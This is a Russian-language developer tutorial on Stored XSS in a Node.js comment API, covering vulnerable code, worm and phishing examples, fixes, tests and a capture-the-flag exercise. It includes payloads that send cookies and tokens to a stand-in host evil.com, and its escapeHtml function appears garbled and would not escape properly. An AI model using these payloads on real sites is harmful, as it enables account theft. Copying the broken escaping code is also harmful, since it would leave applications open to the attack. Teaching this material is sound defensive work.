1️⃣ Что такое Stored XSS?
Простыми словами для разработчика:
Вы сохраняете пользовательский ввод в базу данных без санитизации. При выводе этих данных JavaScript выполняется у ВСЕХ пользователей, кто видит эту страницу.
💡 Типичный сценарий:
У вас есть система комментариев, отзывов, чат, профили пользователей. Один злоумышленник оставляет комментарий с <script> — и ВСЕ посетители страницы выполняют его код.
Где встречается:
- 💬 Системы комментариев (форумы, блоги, соцсети)
- 👤 Профили пользователей (имя, био, статус)
- 📝 CMS (редакторы контента, Markdown без санитизации)
- 💼 B2B системы (CRM, тикеты поддержки)
OWASP: A03:2021 - Injection
Статистика: 60% веб-приложений уязвимы к Stored XSS (HackerOne 2023)
📊 Отличия: Reflected vs Stored XSS
| Критерий |
Reflected XSS |
Stored XSS |
| Где payload |
В URL/параметрах |
Сохранён в БД |
| Кого атакует |
Только кликнувших по ссылке |
ВСЕХ посетителей |
| Persistence |
Одноразовое |
Постоянное (пока не удалят) |
| Социнженерия |
Нужна (заставить кликнуть) |
НЕ нужна |
| Severity |
Medium-High |
High-Critical |
2️⃣ Как возникает уязвимость (CODE WALKTHROUGH)
💬
Шаг 1: Злоумышленник отправляет комментарий
POST /api/comments
{"author":"Hacker","text":"<script>steal()</script>"}
💡 Payload в поле text
⬇️
💾
Шаг 2: Сервер сохраняет БЕЗ санитизации
// ❌ ОШИБКА: сохраняем как есть
db.comments.insert({
author: "Hacker",
text: "<script>steal()</script>" // Опасно!
})
❌ Не проверили, не очистили
⬇️
👥
Шаг 3: Жертвы открывают страницу
GET /comments/page
→ Сервер достаёт из БД
→ Вставляет в HTML БЕЗ экранирования
🎯 Каждый посетитель = жертва
⬇️
🔥
Шаг 4: Браузер выполняет код
💣 У ВСЕХ пользователей выполняется steal()
🍪 Массовая кража cookies, токенов, данных
❌ Уязвимый код (типичная ошибка разработчика)
// comments-api.js
app.post('/api/comments', (req, res) => {
const { author, text } = req.body;
// ❌ ОШИБКА #1: Нет валидации
// ❌ ОШИБКА #2: Нет санитизации
const comment = {
author: author, // Опасно
text: text, // ОЧЕНЬ опасно
timestamp: Date.now()
};
comments.push(comment); // Сохраняем как есть
res.json({ success: true });
});
app.get('/comments/page', (req, res) => {
const html = comments.map(c =>
// ❌ ОШИБКА #3: Вставляем в HTML без экранирования
\`<div>
<strong>\${c.author}</strong>
<p>\${c.text}</p>
</div>\`
).join('');
res.send(\`<html><body>\${html}</body></html>\`);
});
Что думает разработчик:
"Ну это же просто комментарии, что тут может быть опасного?"
Что происходит:
// В БД хранится:
{ text: "<script>fetch('evil.com?c='+document.cookie)</script>" }
// В HTML выводится:
<p><script>fetch('evil.com?c='+document.cookie)</script></p>
↑ Выполнится у КАЖДОГО посетителя!
3️⃣ Реальные последствия и кейсы
🔴 Кейс #1: MySpace Samy Worm (2005)
Что произошло: Samy Kamkar создал Stored XSS worm в своём профиле MySpace
Как работал:
// Упрощённая версия
<script>
// 1. Добавить Samy в друзья
addFriend('samy');
// 2. Скопировать этот же код в профиль жертвы
updateProfile(thisScript);
// 3. Распространиться дальше...
</script>
Результат: За 20 часов заразил 1 миллион профилей (самый быстрый вирус в истории интернета)
🔴 Кейс #2: TweetDeck XSS (2014)
Что произошло: XSS в твите заставлял пользователей ретвитнуть его автоматически
<script class="xss">
$('.xss').parents().eq(1).find('.tweet-action')
.click(); // Автоматический ретвит
</script>
Результат: Самораспространяющийся твит, 38,000+ ретвитов за час
💰
Финансовые потери
GDPR штрафы: до 4% годового оборота
Репутация: потеря клиентов
Судебные иски: компенсации пользователям
🔓
Компрометация аккаунтов
<script>
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
tokens: localStorage.getItem('token'),
session: sessionStorage
})
});
</script>
🪱
Самораспространение
<script>
// Копирует себя во все комментарии
document.querySelectorAll('form')
.forEach(f => {
f.text.value += thisScript;
f.submit();
});
</script>
🎣
Фишинг
<script>
document.body.innerHTML = `
<div class="fake-login">
Сессия истекла. Войдите снова:
<form action="evil.com">...
</div>
`;
</script>
4️⃣ Как правильно чинить
✅ Решение #1: Санитизация при сохранении
// npm install dompurify isomorphic-dompurify
const DOMPurify = require('isomorphic-dompurify');
app.post('/api/comments', (req, res) => {
const { author, text } = req.body;
// ✅ Очищаем HTML, оставляем только безопасные теги
const cleanText = DOMPurify.sanitize(text, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
const comment = {
author: escapeHtml(author), // Полное экранирование
text: cleanText, // Санитизированный HTML
timestamp: Date.now()
};
comments.push(comment);
res.json({ success: true });
});
✅ Решение #2: Экранирование при выводе
app.get('/comments/page', (req, res) => {
// ✅ Экранируем ВСЁ перед выводом
const html = comments.map(c => \`
<div class="comment">
<strong>\${escapeHtml(c.author)}</strong>
<p>\${escapeHtml(c.text)}</p>
</div>
\`).join('');
res.send(\`<html><body>\${html}</body></html>\`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(//g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
✅ Решение #3: Content Security Policy
// middleware/security.js
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self'; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"object-src 'none'"
);
next();
});
// ✅ Даже если XSS пройдёт, inline scripts не выполнятся!
1
Выбирайте: Санитизация ИЛИ Экранирование
Санитизация (DOMPurify): если нужен rich text (жирный, курсив, ссылки)
Экранирование (escapeHtml): если нужен только обычный текст
❌ НЕ делайте: санитизацию И экранирование — сломаете вывод
2
Используйте HttpOnly cookies
res.cookie('session', token, {
httpOnly: true, // ✅ JS не может прочитать
secure: true, // Только HTTPS
sameSite: 'strict'
});
3
Валидируйте на бэкенде
// ❌ WRONG: только client-side
<input maxlength="100" required>
// ✅ RIGHT: backend validation
if (!text || text.length > 1000) {
return res.status(400).json({error: 'invalid'});
}
4
Template engines с auto-escaping
EJS: <%= data %> автоматически экранирует
Pug: p= data автоматически экранирует
Handlebars: \{\{data\}\} автоматически экранирует
5️⃣ Как тестировать
Unit Tests
// tests/xss-protection.test.js
const DOMPurify = require('isomorphic-dompurify');
describe('Stored XSS Protection', () => {
test('DOMPurify удаляет script теги', () => {
const malicious = '<script>alert(1)</script>Hello';
const clean = DOMPurify.sanitize(malicious);
expect(clean).not.toContain('<script>');
expect(clean).toBe('Hello');
});
test('Комментарии сохраняются sanitized', async () => {
const res = await request(app)
.post('/api/comments')
.send({
author: 'Test',
text: '<script>evil()</script>'
});
expect(res.body.comment.text).not.toContain('script');
});
});
SAST: Semgrep правило
rules:
- id: node-stored-xss
patterns:
- pattern: |
$DB.save({..., $FIELD: $INPUT, ...})
- metavariable-pattern:
metavariable: $INPUT
pattern: req.body.$PARAM
message: "Stored XSS: user input saved without sanitization"
severity: ERROR
Manual Testing
# 1. Простой script
curl -X POST /api/comments -d '{"text":"<script>alert(1)</script>"}'
# 2. Event handlers
curl -X POST /api/comments -d '{"text":"<img src=x onerror=alert(1)>"}'
# 3. SVG
curl -X POST /api/comments -d '{"text":"<svg/onload=alert(1)>"}'
# 4. Проверка persistence
curl /comments/page | grep "script" # Не должно быть!
6️⃣ Best Practices
✅ DO (Делайте)
- Санитизируйте при сохранении ИЛИ экранируйте при выводе
- Используйте DOMPurify для rich text
- Включите CSP заголовки
- HttpOnly + Secure cookies
- Валидация на бэкенде
- Регулярные SAST/DAST сканы
❌ DON'T (Не делайте)
- Не сохраняйте raw HTML без проверки
- Не полагайтесь только на client-side валидацию
- Не используйте innerHTML с user data
- Не делайте blacklist фильтры (легко обойти)
- Не храните JWT в localStorage
- Не игнорируйте CSP ошибки
CI/CD Pipeline
# .github/workflows/security.yml
- name: SAST
run: semgrep --config=p/owasp-top-10
- name: Dependency Audit
run: npm audit --audit-level=moderate
- name: DAST
run: |
docker run -t owasp/zap2docker-stable \
zap-baseline.py -t $APP_URL
7️⃣ Практические задания
📝 Задание 1: Найди и эксплуатируй
- ✅ Отправь комментарий с XSS через curl
- ✅ Проверь что он сохранился в БД
- ✅ Открой /api/xss/comments/page в браузере
- ✅ Зафиксируй флаг из ответа страницы (он появится в формате
FLAG{...} после выполнения payload)
🔍 Задание 2: Code Review
- Найди 3 ошибки в уязвимом коде выше
- Объясни почему каждая опасна
- Предложи исправление для каждой
🛠️ Задание 3: Implement Fix
- Установи DOMPurify:
npm install isomorphic-dompurify
- Добавь санитизацию в POST /api/comments
- Проверь что XSS больше не работает
- Напиши unit test для защиты
🔬 Задание 4: Security Testing
- Напиши Semgrep правило для детекции
- Добавь в CI pipeline
- Создай manual testing чеклист
- Протестируй 5 разных XSS payloads
🎯 Что вы изучили:
- 👀 Видеть Stored XSS в code review
- 🛒 Описания товаров в магазинах
- 📝 Форматирование текста (Markdown, BB-code без санитизации)
Сценарий атаки:
1. Атакующий отправляет комментарий с XSS
POST /api/comments
{"text": "<script>steal_cookies()</script>"}
2. Сервер сохраняет в БД без санитизации
3. Жертва открывает страницу с комментариями
GET /comments → возвращает HTML с XSS
4. Браузер жертвы выполняет скрипт
→ кража cookies, редирект, keylogger
Почему это ОЧЕНЬ опасно?
- 🎯 Массовое поражение: атакует всех пользователей
- ♾️ Persistence: работает до удаления из БД
- 🔒 Обход защиты: не требует кликов по ссылкам
- 👥 Worm: может самораспространяться (Samy worm на MySpace)
Защита:
// ✅ Вариант 1: Санитизация при сохранении
const DOMPurify = require('dompurify');
const clean = DOMPurify.sanitize(userInput);
db.save(clean);
// ✅ Вариант 2: Экранирование при выводе
const escaped = escapeHtml(db.load());
res.send(\`<p>\${escaped}</p>\`);
// ✅ Вариант 3: Content Security Policy
res.setHeader('Content-Security-Policy', "script-src 'self'");